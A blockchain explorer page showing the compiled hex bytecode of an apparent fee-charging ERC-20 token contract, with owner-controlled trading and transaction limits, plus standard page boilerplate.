001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600d545f90819060ff1615610984575060016103b8565b6001600160a01b0383165f9081526007602052604090205460ff1680156109c257506001600160a01b0383165f9081526008602052604090205460ff165b156103b85750600192915050565b5f6001600160a01b038416610a275760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610423565b600d5460ff16610ab2576001600160a01b0384165f9081526007602052604090205460ff168015610a6f57506001600160a01b0384165f9081526008602052604090205460ff165b610ab25760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610423565b600d54610100900460ff16158015610ae157506001600160a01b0383165f908152600c602052604090205460ff165b15610aee57610aee610d0c565b6001600160a01b0384163014801590610b1057506001600160a01b0383163014155b8015610b2957505f546001600160a01b03858116911614155b15610b7657610b39848484610d73565b610b765760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610423565b5f610b82858585610e36565b90505f610b8f8285611383565b6001600160a01b0387165f90815260056020526040812080549293508692909190610bbb908490611383565b9091555050305f9081526005602052604081208054849290610bde908490611401565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c0a908490611401565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610c5691815260200190565b60405180910390a350600195945050505050565b610c7382610f27565b600954600a5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610ce0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d059190611414565b5050505050565b600d805461ff001916610100179055305f908152600560205260409020546003548110801590610d3e5750600d5460ff165b15610d5a576004548110610d5157506004545b610d5a81610fc9565b47610d64816110cf565b5050600d805461ff0019169055565b600d545f9060019060ff168015610da257506001600160a01b0385165f9081526008602052604090205460ff16155b8015610dc657506001600160a01b0384165f9081526008602052604090205460ff16155b156104b557600154831115610ddc57505f6104b5565b6001600160a01b0384165f908152600c602052604090205460ff16158015610e2757506002546001600160a01b0385165f90815260056020526040902054610e25908590611401565b115b156104b557505f949350505050565b600d545f90819060ff161580610e6357506001600160a01b0385165f9081526007602052604090205460ff165b80610e8557506001600160a01b0384165f9081526007602052604090205460ff165b15610e9157505f6104b5565b6001600160a01b0385165f908152600c602052604090205460ff1615610edb575f54606490610eca90600160a81b900460ff168561136c565b610ed4919061143f565b90506104b5565b6001600160a01b0384165f908152600c602052604090205460ff16156104b5575f54606490610f1490600160a01b900460ff168561136c565b610f1e919061143f565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054811115610fc657305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b610fd281610f27565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106110055761100561145e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110595761105961145e565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac9479061109e9085905f90869030904290600401611472565b5f604051808303815f87803b1580156110b5575f80fd5b505af11580156110c7573d5f803e3d5ffd5b505050505050565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611106573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111365785810183015185820160400152820161111a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc6575f80fd5b5f806040838503121561117b575f80fd5b823561118681611156565b946020939093013593505050565b5f805f606084860312156111a6575f80fd5b83356111b181611156565b925060208401356111c181611156565b929592945050506040919091013590565b803560ff811681146111e2575f80fd5b919050565b5f80604083850312156111f8575f80fd5b611201836111d2565b915061120f602084016111d2565b90509250929050565b5f60208284031215611228575f80fd5b81356108ea81611156565b5f8060408385031215611244575f80fd5b823561124f81611156565b9150602083013561125f81611156565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112b857815f190482111561129e5761129e61126a565b808516156112ab57918102915b93841c9390800290611283565b509250929050565b5f826112ce575060016103b8565b816112da57505f6103b8565b81600181146112f057600281146112fa57611316565b60019150506103b8565b60ff84111561130b5761130b61126a565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611339575081810a6103b8565b611343838361127e565b805f19048211156113565761135661126a565b029392505050565b5f6108ea60ff8416836112c0565b80820281158282048414176103b8576103b861126a565b818103818111156103b8576103b861126a565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60ff81811683821601908111156103b8576103b861126a565b5f602082840312156113f6575f80fd5b81516108ea81611156565b808201808211156103b8576103b861126a565b5f805f60608486031215611426575f80fd5b8351925060208401519150604084015190509250925092565b5f8261145957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114c25784516001600160a01b03168352938301939183019160010161149d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201c83fc29eefca90ff502a09cbe0b9c7d074e39d9c9bc22619a070b1922220c4464736f6c63430008180033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 34 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.